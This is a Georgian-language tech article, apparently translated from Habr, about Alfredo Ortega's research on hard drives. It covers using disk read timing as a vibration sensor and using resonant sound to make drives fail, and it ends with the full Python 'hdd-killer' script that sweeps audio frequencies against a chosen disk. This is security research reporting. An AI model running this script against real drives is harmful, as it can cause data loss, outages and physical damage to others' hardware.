ბუენოს-აირესში Ekoparty 2017 კომპიუტერული უსაფრთხოების კონფერენციაზე არგენტინელმა ჰაკერმა ალფრედო ორტეგამ აჩვენა ძალიან საინტერესო განვითარება - შენობების ფარული მოსმენის სისტემა მიკროფონის გამოყენების გარეშე. ხმა ჩაწერილია პირდაპირ მყარ დისკზე!

HDD ძირითადად იღებს მაღალი ინტენსივობის დაბალი სიხშირის ხმებს, ნაბიჯებს და სხვა ვიბრაციას. ადამიანის მეტყველება ჯერ არ არის აღიარებული, თუმცა მეცნიერები ამ მიმართულებით ატარებენ კვლევებს (მეტყველების ამოცნობა დაბალი სიხშირის ვიბრაციებით, რომლებიც ჩაწერილია, მაგალითად, გიროსკოპიდან ან HDD-დან).

ხმა არის ჰაერის ან სხვა საშუალების ვიბრაცია. ადამიანი მათ აღიქვამს ყურის ბარბის საშუალებით, რომელიც ვიბრაციას გადასცემს შიდა ყურს. მიკროფონი დაახლოებით ყურის მსგავსია შექმნილი – აქაც ვიბრაციები ფიქსირდება თხელი გარსით, რომელიც აღაგზნებს ელექტრულ იმპულსს. მყარი დისკი, რა თქმა უნდა, ასევე ექვემდებარება მიკროსკოპულ ვიბრაციას გარემომცველი ჰაერის რყევების გამო. ეს ცნობილია HDD-ების ტექნიკური მახასიათებლებიდანაც კი: მწარმოებლები ჩვეულებრივ მიუთითებენ ვიბრაციის მაქსიმალურ დასაშვებ დონეს, ხოლო თავად მყარი დისკი ხშირად ცდილობს მის განთავსებას რეზინის ან სხვა საიზოლაციო მასალისგან დამზადებულ ვიბრაციულ კონტეინერში. აქედან ადვილია დავასკვნათ, რომ ბგერების ჩაწერა შესაძლებელია HDD-ის გამოყენებით. რჩება მხოლოდ იმის გარკვევა, თუ როგორ.

ალფრედო ორტეგამ შემოგვთავაზა გვერდითი არხის შეტევის უნიკალური ვერსია, კერძოდ, დროის შეტევა. ეს შეტევა ეფუძნება ვარაუდს, რომ სხვადასხვა ოპერაციები შესრულებულია მოწყობილობაზე სხვადასხვა დროს, მოცემული შეყვანის მონაცემების მიხედვით. ამ შემთხვევაში, „შეყვანის მონაცემები“ არის კითხვის თავისა და HDD პლატერის ვიბრაციები, რომლებიც დაკავშირებულია გარემოს ვიბრაციებთან, ანუ ხმასთან. ამრიგად, გამოთვლითი დროის გაზომვით და მონაცემების სტატისტიკური ანალიზის შესრულებით, შეიძლება გაიზომოს თავსახურის/პლატერის ვიბრაცია და, შესაბამისად, საშუალო ვიბრაციები. რაც უფრო დიდია მონაცემების წაკითხვის შეფერხება, მით უფრო ძლიერია HDD-ის ვიბრაცია და, შესაბამისად, უფრო მაღალი ხმა.

როგორ გავზომოთ მყარი დისკის ვიბრაცია? ძალიან მარტივია: უბრალოდ გაუშვით სისტემური ზარი read () - და ჩაწერეთ დრო, რომელიც სჭირდება დასრულებას. თანამედროვე ოპერაციული სისტემები საშუალებას გაძლევთ წაიკითხოთ სისტემური ზარების დრო ნანოწამის სიზუსტით.

სექტორიდან ინფორმაციის წაკითხვის სიჩქარე დამოკიდებულია თავისა და ფირფიტის პოზიციაზე, რაც კორელაციაშია HDD კორპუსის ვიბრაციასთან. Სულ ეს არის.

სტატისტიკური ანალიზი ხორციელდება მარტივი Kscope უტილიტის გამოყენებით. როგორც ამბობენ, ყველაფერი გენიალური მარტივია.

Kscope უტილიტა (stat() syscall)

Kscope არის პატარა პროგრამა სისტემური ზარის შესრულების დროში მცირე განსხვავებების ვიზუალიზაციისთვის. წყაროგამოქვეყნებულია GitHub-ზე.

ცალკე საცავში HDD დრო არსებობს პროგრამის ვერსია, რომელიც კონფიგურირებულია მყარ დისკზე დროული შეტევისთვის, ანუ კონფიგურირებულია სისტემის ზარის გასაანალიზებლად read ().

ხმის ჩაწერის დემონსტრირება HDD-ის გამოყენებით, Kscope უტილიტის ფუნქციონირება

რა თქმა უნდა, მეტყველების გაგება ამ გზით შეუძლებელია, მაგრამ HDD საკმაოდ შესაფერისია, როგორც ვიბრაციის სენსორი. მაგალითად, შეგიძლიათ დარეგისტრირდეთ, თუ ადამიანი, რომელსაც აცვია მყარი ფეხსაცმელი ან ფეხშიშველი, შევიდა ოთახში კომპიუტერით (ალბათ, თუ თავდამსხმელს აცვია რბილი სპორტული ფეხსაცმელი ან იატაკზე სქელი ხალიჩაა, HDD ვერ შეძლებს ვიბრაციის რეგისტრაციას - ამის შემოწმება ღირს). კომპიუტერს შეუძლია დაარეგისტრიროს გატეხილი მინა ან სხვა ინციდენტები ძლიერი ხმის ინტენსივობით. ანუ, მყარი დისკი შეიძლება იყოს ერთგვარი არაავტორიზებული შეჭრის გამოვლენის სისტემა.

HDD მკვლელი

სხვათა შორის, მსგავსი ტექნიკის გამოყენება შესაძლებელია მყარი დისკების გამორთვისთვის. მხოლოდ აქ ჩვენ არ ვხსნით რხევებს HDD-დან, არამედ, პირიქით, ვაწარმოებთ რხევებს, რომლებიც იკვებება HDD-ზე. თუ დინამიკიდან ხმას უკრავთ ისეთ სიხშირეზე, რომელიც რეზონანსს უწევს HDD სიხშირეს, სისტემა მალე გამორთავს მოწყობილობას I/O შეცდომით (Linux-ის ბირთვი მთლიანად თიშავს HDD-ს 120 წამის შემდეგ). თავად მყარი დისკი შეიძლება განიცადოს შეუქცევადი დაზიანება.

Linux-ის ბირთვმა გამორთო მყარი დისკი Edifier r120u USB დინამიკის დინამიკის მეშვეობით რეზონანსული სიხშირით ხმის მიწოდებიდან 19 წამის შემდეგ. დინამიკი ჩართულია დაახლოებით მეოთხედი სიმძლავრით (100 მვტ-ზე ნაკლები) და მდებარეობს HDD-დან 20 სმ დაშორებით, რომელიც მიზნად ისახავს მაგიდას ვიბრაციის გასაზრდელად. ჩარჩო საწყისი ვიდეო კლიპი HDD მკვლელის დემონსტრირებით

საინტერესოა, რომ HDD-ებზე ასეთი „შეტევები“ ზოგჯერ სრულიად შემთხვევით ხდება ყოველდღიურ ცხოვრებაში. მაგალითად, 2016 წლის სექტემბერში, ING Bank მონაცემთა ცენტრი იძულებული გახდა შეჩერებულიყო ოპერაციები 10 საათის განმავლობაში სახანძრო სწავლების შემდეგ. ათობით მყარი დისკი წარუმატებელია მაღალი წნევის ქვეშ ცილინდრებიდან გამოთავისუფლებული ინერტული აირის ხმამაღალი ხმის გამო. ხმა იყო ძალიან ხმამაღალი (130 დბ-ზე მეტი), მაგრამ მყარ დისკებზე ყვირილიც კი არ შეგიძლიათ - ეს ზრდის HDD-ზე წვდომის შეფერხებას.

ადამიანის ყვირილის დემონსტრირება მყარ დისკებზე მონაცემთა ცენტრში. შეყოვნების გაზომვა

რეზონანსული ხმის გამოსამუშავებლად, ალფრედო ორტეგამ დაწერა პითონის სკრიპტი ე.წ HDD-მკვლელი (ვიდეო დემონსტრირება).

HDD მკვლელი სკრიპტი ის საკმაოდ მცირეა, ასე რომ თქვენ შეგიძლიათ სრულად გამოაქვეყნოთ აქ.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

წყარო: www.habr.com